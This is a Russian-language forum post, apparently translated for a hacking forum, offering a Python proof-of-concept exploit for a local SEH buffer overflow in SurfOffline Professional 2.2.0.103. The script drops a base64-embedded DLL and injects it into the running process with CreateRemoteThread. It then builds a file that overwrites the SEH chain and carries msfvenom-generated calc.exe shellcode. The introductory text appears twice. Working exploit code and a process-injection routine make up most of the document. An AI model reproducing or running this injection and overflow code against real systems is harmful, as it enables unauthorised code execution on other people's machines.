Пример обхода вставки DLL в nullbyte (POC для локальной эксплуатации SEH)
Метод для обхода пустых байтов адреса POP-POP-RETN, созданного Mona.py для эксплуатации локальных переполнений SEH посредством внедрения DLL.
Что?
Вы когда-нибудь сталкивались с тысячами бесполезных nullbyte POP POP RETN адресов, генерируемых Mona.py при эксплуатации переполнения SEH в системах на базе Windows? Вы пытались использовать метод частичной перезаписи POP POP RETN, созданный в некоторых эксплойтах? И все не получается.
Ну, вот вам альтернатива, через инъекцию DLL, давайте добавим наш собственный DLL модуль и назовем чистый и nullbyte адрес POP POP RETN.
Это в значительной степени применимо только к локальным переполнениям SEH, поскольку требует, чтобы вы внедрили DLL в уязвимый процесс переполнения SEH.
Насколько это практично? Это на самом деле непрактично, потому что вы эксплуатируете только локальное переполнение SEH.
Где?
Пример использования
В этом эксплойте используется уязвимое поле ввода в программе SurfOffline Professional. Оно уязвимо для локального переполнения на основе SEH.
Внедренная DLL - это «essfunc.dll» из серии разработки эксплойтов vulnserver.
Nullbyte_PPR_DLL-injection_bypass.py
оригинальная заметка
Перевод: tabac, специально для https://xss.pro
Метод для обхода пустых байтов адреса POP-POP-RETN, созданного Mona.py для эксплуатации локальных переполнений SEH посредством внедрения DLL.
Что?
Вы когда-нибудь сталкивались с тысячами бесполезных nullbyte POP POP RETN адресов, генерируемых Mona.py при эксплуатации переполнения SEH в системах на базе Windows? Вы пытались использовать метод частичной перезаписи POP POP RETN, созданный в некоторых эксплойтах? И все не получается.
Ну, вот вам альтернатива, через инъекцию DLL, давайте добавим наш собственный DLL модуль и назовем чистый и nullbyte адрес POP POP RETN.
Это в значительной степени применимо только к локальным переполнениям SEH, поскольку требует, чтобы вы внедрили DLL в уязвимый процесс переполнения SEH.
Насколько это практично? Это на самом деле непрактично, потому что вы эксплуатируете только локальное переполнение SEH.
Где?
- Выходной файл полезной нагрузки создается, поскольку он использует локальное переполнение буфера на основе SEH, в выходном файле есть эксплойт POC для перехвата обработчика SEH и использования (специального) POP POP RET для выхода из следующего обработчика SEH в цепочке SEH.
- Вам нужен PID процесса для внедрения DLL в процесс, PID автоматически обнаруживается с помощью функции process_injection () с использованием библиотеки Python psutil для обнаружения PID.
- Вызывается функция drop_DLL_disk (), которая декодирует и удаляет закодированный в пейлоад DLL в base64, в данном случае это файл essfunc.dll из vulnserver. После сброса DLL пейлоада на диск, DLL внедряется в уязвимый процесс через автоматически обнаруженный PID.
- После того, как новая DLL внедрена в уязвимый запущенный процесс (SurfOffline Professional), атакующий может использовать уязвимое поле ввода в инструменте создания «New project» в SurfOffline Professional.
File > New Program > Project Name > OK.
Будет использоваться новый POP POP RET из инжектированной DLL, чтобы вызвать calc.exe.
Пример использования
В этом эксплойте используется уязвимое поле ввода в программе SurfOffline Professional. Оно уязвимо для локального переполнения на основе SEH.
Внедренная DLL - это «essfunc.dll» из серии разработки эксплойтов vulnserver.
Nullbyte_PPR_DLL-injection_bypass.py
Python:
import os, sys
import psutil
from struct import pack
from ctypes import *
from base64 import b64decode
# Exploit Title: SurfOffline Professional local SEH overflow
# Date: 12/18/2019
# Exploit Author: FULLSHADE / x00pwn
# Vendor Homepage: http://www.sharing-file.com/
# Software Link: https://www.softpedia.com/get/Internet/Offline-Browsers/SurfOffline.shtml
# Version: 2.2.0.103
# Tested on: Windows 7
def process_injection():
print("\n----{Starting vulnerable program PID discovery}----\n")
PROCNAME = "SO_PRO.exe"
try:
for proc in psutil.process_iter():
if proc.name() == PROCNAME:
process_PID = proc.pid #PID
except:
print("[!] Error, vuln program not running")
print("[+] Selected victim PID: {}".format(process_PID))
# from tasklist - SO_PRO.exe <PID> Console 1 33,692 K
print("\n----{Starting NullByte DLL injection bypass}----\n")
drop_DLL_disk()
dll_name = "payload.dll" # process name
print("[+] Selected .DLL name: {}".format(dll_name))
loading_process = windll.kernel32.OpenProcess(
983040 | 1048576 | 4095, False, int(process_PID)
)
print("[+] Establishing handle connection to process")
allocate_memory = windll.kernel32.VirtualAllocEx(
loading_process, 0, len(dll_name), 4096 | 8192, 4
)
print("[+] Allocating memory in victim process")
write_memory = windll.kernel32.WriteProcessMemory(
loading_process, allocate_memory, dll_name, len(dll_name), byref(c_int(0))
)
print("[+] Writing DLL to allocated space")
code_execution = windll.kernel32.CreateRemoteThread(
loading_process, None, 0, windll.kernel32.GetProcAddress(windll.kernel32.GetModuleHandleA("kernel32.dll"),
"LoadLibraryA"), allocate_memory, 0, byref(c_ulong(0)),
)
print("[+] Victim process DLL injection suceeded\n")
exploitation()
def drop_DLL_disk():
# this function drops the needed PPR DLL payload, originally essfunc.dll from vulnserver
b64_dll = "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAAB5GkLAPXsskz17LJM9eyyT4ITnkz57LJM9ey2TNXsskzApzJM8eyyTMCnykzx7LJNSaWNoPXsskwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFBFAABMAQQAoAsNUwAAAAAAAAAA4AACIQsBDAAAAgAAAA4AAAAAAAAwEQAAABAAAAAgAAAAAAAQABAAAAACAAAGAAAAAAAAAAYAAAAAAAAAAFAAAAAEAAAAAAAAAgBABQAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAAJCAAACgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAkAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALnRleHQAAABSAQAAABAAAAACAAAABAAAAAAAAAAAAAAAAAAAIAAAYC5yZGF0YQAADAEAAAAgAAAAAgAAAAYAAAAAAAAAAAAAAAAAAEAAAEAuZGF0YQAAAA0IAAAAMAAAAAoAAAAIAAAAAAAAAAAAAAAAAABAAADALnJlbG9jAAAgAAAAAEAAAAACAAAAEgAAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFWL7IPsCItFCIlF+MdF/AAAAADHRfwAAAAA6wmLTfyDwQGJTfyLVfw7VQxzEYtF+MYAAItN+IPBAYlN+Ovei+Vdw8zMzMzMzMzMzMzMzMzMVYvsgewkAwAAakSNRahQ6Jz///+DxAjHRahEAAAAjU3sUY1VqFJqAGoAakRqAGoAagBoADgAEGoA/xUMIAAQhcAPhIgAAADHhdz8//8DAAEAjYXc/P//UItN8FH/FRAgABBqQGgAEAAAaAAIAABqAItV7FL/FRggABCJRfxqAGgACAAAaAAwABCLRfxQi03sUf8VHCAAEItV/ImVlP3//42F3Pz//1CLTfBR/xUUIAAQi1XwUv8VCCAAEItF8FD/FQAgABCLTexR/xUAIAAQagD/FQQgABCL5V3DzMzMzMxVi+xRi0UMiUX8g338AXQC6wXoCf///7gBAAAAi+VdwgwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcCAAAH4gAACMIAAAnCAAAK4gAADCIAAA1iAAAOggAAAAAAAATCAAAAAAAAAAAAAA/iAAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHAgAAB+IAAAjCAAAJwgAACuIAAAwiAAANYgAADoIAAAAAAAAH8AQ2xvc2VIYW5kbGUAUgFFeGl0VGhyZWFkAACnBFJlc3VtZVRocmVhZAAA1wBDcmVhdGVQcm9jZXNzQQAA5AJHZXRUaHJlYWRDb250ZXh0AAAqBVNldFRocmVhZENvbnRleHQAAJoFVmlydHVhbEFsbG9jRXgAAOgFV3JpdGVQcm9jZXNzTWVtb3J5AABLRVJORUwzMi5kbGwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD86IIAAABgieUxwGSLUDCLUgyLUhSLcigPt0omMf+sPGF8Aiwgwc8NAcfi8lJXi1IQi0o8i0wReONIAdFRi1kgAdOLSRjjOkmLNIsB1jH/rMHPDQHHOOB19gN9+Dt9JHXkWItYJAHTZosMS4tYHAHTiwSLAdCJRCQkW1thWVpR/+BfX1qLEuuNXWoBjYWyAAAAUGgxi2+H/9W78LWiVmimlb2d/9U8BnwKgPvgdQW7RxNyb2oAU//VQzpcd2luZG93c1xzeXN0ZW0zMlxjYWxjLmV4ZQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHJ1bmRsbDMyLmV4ZQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAACAAAACDMIswrjDGMNUw4zD9MAcxETEbMSMxAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="
try:
bytes = b64decode(b64_dll)
createF = open('payload.dll', 'wb')
createF.write(bytes)
createF.close()
print("[+] Dropped payload.dll to disk")
except:
print("[+] Failed to create DLL")
def exploitation():
# msfvenom -p windows/exec CMD=calc.exe -b "\x00\x0a\x0d\x0e" -e x86/alpha_mixed -f python -v shellcode EXITFUNC=seh
shellcode = ""
shellcode += "\x89\xe0\xd9\xc5\xd9\x70\xf4\x5b\x53\x59\x49\x49"
shellcode += "\x49\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43"
shellcode += "\x43\x43\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30"
shellcode += "\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30"
shellcode += "\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49"
shellcode += "\x69\x6c\x69\x78\x6b\x32\x35\x50\x67\x70\x45\x50"
shellcode += "\x45\x30\x4b\x39\x58\x65\x50\x31\x69\x50\x30\x64"
shellcode += "\x6c\x4b\x46\x30\x74\x70\x4e\x6b\x53\x62\x54\x4c"
shellcode += "\x6e\x6b\x33\x62\x35\x44\x4c\x4b\x71\x62\x44\x68"
shellcode += "\x56\x6f\x68\x37\x72\x6a\x57\x56\x34\x71\x39\x6f"
shellcode += "\x4c\x6c\x65\x6c\x73\x51\x63\x4c\x76\x62\x44\x6c"
shellcode += "\x75\x70\x4a\x61\x5a\x6f\x36\x6d\x33\x31\x78\x47"
shellcode += "\x59\x72\x59\x62\x66\x32\x53\x67\x4c\x4b\x51\x42"
shellcode += "\x46\x70\x6e\x6b\x63\x7a\x55\x6c\x6e\x6b\x62\x6c"
shellcode += "\x47\x61\x62\x58\x38\x63\x47\x38\x73\x31\x5a\x71"
shellcode += "\x70\x51\x6c\x4b\x53\x69\x71\x30\x35\x51\x48\x53"
shellcode += "\x6e\x6b\x52\x69\x74\x58\x49\x73\x64\x7a\x57\x39"
shellcode += "\x4e\x6b\x67\x44\x4e\x6b\x46\x61\x6a\x76\x50\x31"
shellcode += "\x4b\x4f\x6e\x4c\x69\x51\x48\x4f\x76\x6d\x56\x61"
shellcode += "\x6b\x77\x75\x68\x4b\x50\x74\x35\x38\x76\x53\x33"
shellcode += "\x63\x4d\x4b\x48\x75\x6b\x33\x4d\x46\x44\x33\x45"
shellcode += "\x4d\x34\x56\x38\x6e\x6b\x70\x58\x31\x34\x45\x51"
shellcode += "\x78\x53\x30\x66\x4e\x6b\x64\x4c\x42\x6b\x6c\x4b"
shellcode += "\x36\x38\x57\x6c\x67\x71\x79\x43\x6c\x4b\x64\x44"
shellcode += "\x4e\x6b\x36\x61\x4a\x70\x6f\x79\x30\x44\x55\x74"
shellcode += "\x64\x64\x31\x4b\x33\x6b\x30\x61\x30\x59\x43\x6a"
shellcode += "\x33\x61\x39\x6f\x69\x70\x33\x6f\x71\x4f\x73\x6a"
shellcode += "\x6e\x6b\x66\x72\x4a\x4b\x4c\x4d\x63\x6d\x50\x6a"
shellcode += "\x65\x51\x4e\x6d\x4c\x45\x6d\x62\x57\x70\x77\x70"
shellcode += "\x67\x70\x32\x70\x55\x38\x46\x51\x4e\x6b\x32\x4f"
shellcode += "\x6f\x77\x69\x6f\x79\x45\x6d\x6b\x4b\x4e\x64\x4e"
shellcode += "\x74\x72\x4b\x5a\x70\x68\x6c\x66\x6d\x45\x4f\x4d"
shellcode += "\x4f\x6d\x79\x6f\x6b\x65\x45\x6c\x65\x56\x43\x4c"
shellcode += "\x67\x7a\x6b\x30\x39\x6b\x59\x70\x61\x65\x63\x35"
shellcode += "\x6f\x4b\x50\x47\x42\x33\x50\x72\x42\x4f\x30\x6a"
shellcode += "\x35\x50\x36\x33\x69\x6f\x39\x45\x73\x53\x50\x61"
shellcode += "\x72\x4c\x32\x43\x44\x6e\x53\x55\x43\x48\x53\x55"
shellcode += "\x67\x70\x41\x41"
seh_handler = "\xB4\x10\x50\x62" # POP POP RET FROM ESSFUNC
nseh_handler = "\xEB\x08\x90\x90" # JMP short 6 over SEH handler
payload = "A" * 382
payload += nseh_handler
payload += seh_handler
payload += "\x90" * 16
payload += shellcode # shellcode calc payload
payload += "D" * (5000 - len(payload)) # padding
try:
print("\n----{Starting exploitation}----\n")
file_payload = open("evil.txt", "w")
print("[+] Creating a .txt file for payload")
file_payload.write(payload)
print("[+] Writing malicious payload to .txt file")
file_payload.close()
print("[+] Copy the file contents add create new project name")
except:
print("[!] Failed to create malicious .txt")
process_injection()
if __name__ == "__main__":
print("\n\n[+] Exploit POC for SurfOffline Professional 2.2.0.103")
exploitation()
оригинальная заметка
Перевод: tabac, специально для https://xss.pro